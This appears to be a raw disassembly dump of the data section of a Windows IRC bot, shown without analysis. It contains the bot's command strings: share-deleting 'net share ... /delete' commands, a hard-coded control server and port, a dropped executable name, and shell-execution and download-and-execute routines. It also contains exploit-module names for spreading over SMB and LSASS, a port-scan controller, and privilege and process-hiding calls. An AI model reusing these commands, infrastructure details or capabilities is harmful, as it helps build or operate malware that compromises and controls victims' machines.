dword_442E68	dd 19930520h, 1, 442E88h, 5 dup(0)		dd 0FFFFFFFFh, 43CE00h,	2 dup(0)
dword_442E98	dd 19930520h, 1, 442EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE20h,	2 dup(0)
dword_442EC8	dd 19930520h, 1, 442EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE40h,	2 dup(0)
dword_442EF8	dd 19930520h, 1, 442F18h, 5 dup(0)		dd 0FFFFFFFFh, 43CE60h,	2 dup(0)
dword_442F28	dd 19930520h, 1, 442F48h, 5 dup(0)		dd 0FFFFFFFFh, 43CE80h,	2 dup(0)
dword_442F58	dd 19930520h, 2, 442F78h, 1, 442F88h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA0h, 4	dup(0)
		dd offset loc_42C244
		dd 2 dup(0)
dword_442FB8	dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443000h, 4	dup(0)
		dd offset loc_42C321
		dd 2 dup(0)
dword_443018	dd 19930520h, 3, 443038h, 5 dup(0)		dd 0FFFFFFFFh, 43CEC0h,	0
		dd offset loc_43CEC8
		dd 1, 43CED0h, 2 dup(0)
dword_443058	dd 19930520h, 1, 443078h, 5 dup(0)		dd 0FFFFFFFFh, 43CF00h,	2 dup(0)
dword_443088	dd 19930520h, 1, 4430A8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF20h,	2 dup(0)
dword_4430B8	dd 19930520h, 1, 4430D8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF40h,	2 dup(0)
dword_4430E8	dd 19930520h, 1, 443108h, 5 dup(0)		dd 0FFFFFFFFh, 43CF60h,	2 dup(0)
dword_443118	dd 19930520h, 1, 443138h, 5 dup(0)		dd 0FFFFFFFFh, 43CF80h,	2 dup(0)
dword_443148	dd 19930520h, 6, 443168h, 5 dup(0)		dd 0FFFFFFFFh, 43CFA0h,	0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
		dd 43CFB0h, 0FFFFFFFFh,	43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
		dd 43CFC8h, 2 dup(0)
dword_4431A0	dd 19930520h, 16h, 4431C0h, 5 dup(0)		dd 0FFFFFFFFh, 43CFF0h,	0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
		dd 43D003h, 0FFFFFFFFh,	43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
		dd 43D01Eh, 0FFFFFFFFh,	43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
		dd 43D036h, 0FFFFFFFFh,	43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
		dd 43D051h, 0FFFFFFFFh,	43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
		dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch,	0Eh, 43D084h, 0Eh
		dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch,	0Eh, 43D09Ch, 6	dup(0)
dword_443288	dd 19930520h, 2, 4432A8h, 5 dup(0)		dd 0FFFFFFFFh, 43D0E0h,	0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0	dd 19930520h, 2, 4432E0h, 5 dup(0)		dd 0FFFFFFFFh, 43D100h,	0
		dd offset loc_43D10B
		dd 2 dup(0)
dword_4432F8	dd 19930520h, 1, 443318h, 5 dup(0)		dd 0FFFFFFFFh, 43D130h,	2 dup(0)
dword_443328	dd 19930520h, 2, 443348h, 5 dup(0)		dd 0FFFFFFFFh, 43D150h,	0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360	dd 19930520h, 0Ah, 443380h, 5 dup(0)dword_443380	dd 0FFFFFFFFh, 43D170h,	0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
		dd 43D186h, 0FFFFFFFFh,	43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
		dd 43D1A7h, 0FFFFFFFFh,	43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
		dd 43D1C8h, 0FFFFFFFFh,	43D1D3h, 34Dh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_410030:loc_41090Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404CC0+86Fo
					; sub_404CC0+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404CC0+82Bo
					; sub_404CC0+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404690:loc_40476Fo
					; sub_404690+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404690+75o
					; sub_410030:loc_410A19o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D040+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
		align 8
aN:					; DATA XREF: sub_404CC0+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404CC0+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404CC0+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404CC0+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404CC0+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404CC0+1A3o
					; sub_404CC0+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_406730+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_4068E0+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_4068E0+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_4068E0:loc_4069DBo
a2003		db '2003',0             ; DATA XREF: sub_4068E0+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4068E0+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4068E0+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4068E0+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_4068E0+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4068E0+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_4068E0+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ED00+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:004087A4o ...
dword_4447F8	dd 2Eh							; ___:0041B2DAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP2',0 ; DATA XREF: sub_4077E0+403o
		align 8
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 10h
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 10h
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444834	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAyssds4ddklfsd	db 'ayssds4ddklfsdf',0  ; DATA XREF: sub_4077E0+337o
		dd 0
aIgfsfdfsd32_ex	db 'igfsfdfsd32.exe',0  ; DATA XREF: sub_4077E0+326o
		align 10h
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
aM		db '##m',0              ; DATA XREF: sub_4077E0+307o
aM_0		db '##m##',0            ; DATA XREF: sub_4077E0+2F6o
		align 4
a6701		db '6701',0             ; DATA XREF: sub_4077E0+29Bo
		align 4
aGx_arabhell_ne	db 'Gx.arabhell.net',0  ; DATA XREF: sub_4077E0+283o
		align 10h
off_444890	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4448B0	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4448D8	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
					; ___:0040AA51o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B760+3Fo
					; sub_40B7E0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B87Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B924o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB57o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040BA04o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4E0+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4E0+327o
		align 10h
dword_444A00	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4E0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC90+1B1o
		dd 0
asc_444AD4:				; DATA XREF: sub_40CC90+113o
					; sub_4201F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D040+115o
		align 4
aS_1		db '%s\*',0             ; DATA XREF: sub_40D040+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D559o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D660+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D660+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D660+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC20+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE40+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE40+21o
					; sub_40F060+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F511o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F359o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
		align 10h
		dd 0
asc_444C54	db ' :',0               ; DATA XREF: sub_410030+E2Bo
					; sub_410030+1118o ...
		align 4
asc_444C58:				; DATA XREF: sub_410030+CACo
					; sub_410030+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_410030:loc_4109F8o
					; sub_410030:loc_410C87o
aS_2		db ' -s',0              ; DATA XREF: sub_410030:loc_4109CFo
					; sub_410030:loc_410C66o
asc_444C64:				; DATA XREF: sub_410030+871o
					; sub_410030:loc_410CA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_410030+7CCo
					; sub_410030+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
					; sub_410030+732o ...
		align 4
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_410030+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 8
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_410030+2C4o
					; sub_412780+91o ...
		align 8
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
		align 4
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4120B0+386o
					; sub_426070+12Do ...
		align 10h
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
					; sub_412A40+8Fo
		align 10h
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412780:loc_41288Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412780+104o
		align 4
a_		db '. ',0               ; DATA XREF: sub_412780+CAo
					; sub_412780+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412780+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FF7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412FA4o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F4Ao
		align 4
asc_444D08:				; DATA XREF: ___:loc_412F33o
		dw 3Ch
		unicode	0, <>,0
asc_444D0C:				; DATA XREF: ___:loc_412F1Co
		dw 3Eh
		unicode	0, <>,0
asc_444D10	db '==',0               ; DATA XREF: ___:loc_412F05o
		align 4
asc_444D14	db '!=',0               ; DATA XREF: ___:00412EF1o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138B0+B7o
		align 10h
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4193C0+30Fo
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4193C0+2E7o
		align 10h
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4193C0+272o
					; sub_4193C0+29Bo
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4193C0+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_4193C0+205o
		dd 0
off_444D54	dd offset dword_504354	; DATA XREF: sub_4193C0+140o
					; ___:0042C5F2o ...
dword_444D58	dd 2D464544h, 504354h, 0					; sub_4193C0+12Eo
dword_444D64	dd 652Dh	dword_444D68	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 10h
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DA4	db 1			; DATA XREF: sub_41A390r
		align 4
dword_444DA8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444DF4:				; DATA XREF: ___:00421859o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E08	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54	dd 63257325h, 0						; sub_41F960+E5o
dword_444E5C	dd 72h		dword_444E60	dd 30h							; sub_424920+327o
dword_444E64	dd 3039h	dword_444E68	dd 383631h	dword_444E6C	dd 323931h	dword_444E70	dd 3631h	dword_444E74	dd 323731h	dword_444E78	dd 3031h	off_444E7C	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E80	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E84	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E88	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E8C	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D930+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D930+567o
		align 8
asc_444EC8	db 0Dh,0Ah		; DATA XREF: sub_41D930+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D930+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D930+3C0o
					; ___:0041FD87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D930+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D930+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D930+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D930+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D930+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E47Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E42Fo
		dd 0
dword_444FCC	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC	dd 6469706Bh, 7325203Ah, 0dword_444FE8	dd 203A736Bh, 7325hdword_444FF0	dd 202E6425h, 7325202Fh, 0dword_444FFC	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+694o
					; sub_41F030+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030:loc_41F695o
					; sub_41F030+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41F030+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41F030+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+505o
					; sub_41F030+51Ao
		align 4
asc_445078:				; DATA XREF: sub_41F030+2EFo
					; sub_41F030+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+286o
					; sub_41F030+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+254o
					; sub_41F030+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+222o
					; sub_41F030+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+1F3o
					; sub_41F030+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FDBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420090:loc_4200E5o
					; sub_420630+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201F0+CBo
					; sub_4208E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
					; sub_4208E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420630+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420630+20o
					; sub_420630+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4208E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4208E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4208E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4208E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4208E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4208E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4208E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4208E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4208E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4208E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4208E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4208E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4208E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4208E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4208E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4208E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4208E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4208E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4208E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4208E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4208E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4208E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4208E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4208E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4208E0+EEo
		align 4
off_4452F4	dd offset word_616C4E	; DATA XREF: sub_4208E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4208E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4208E0+CDo
		align 4
off_44530C	dd offset byte_4D444D	; DATA XREF: sub_4208E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4208E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4208E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4208E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4208E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4208E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4208E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4208E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4208E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4208E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4208E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4208E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4208E0+55o
					; sub_4208E0:loc_420B6Bo
		align 10h
asc_4453E0:				; DATA XREF: sub_420F10:loc_420FCFo
					; sub_420F10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420F10+94o
					; sub_420F10:loc_42117Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420F10+84o
					; sub_420F10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445418	dd 1BDh							; sub_422B40+310o ...
off_44541C	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445420	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 10h
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422B40+747o
off_4455E0	dd offset dword_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455E4	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 8
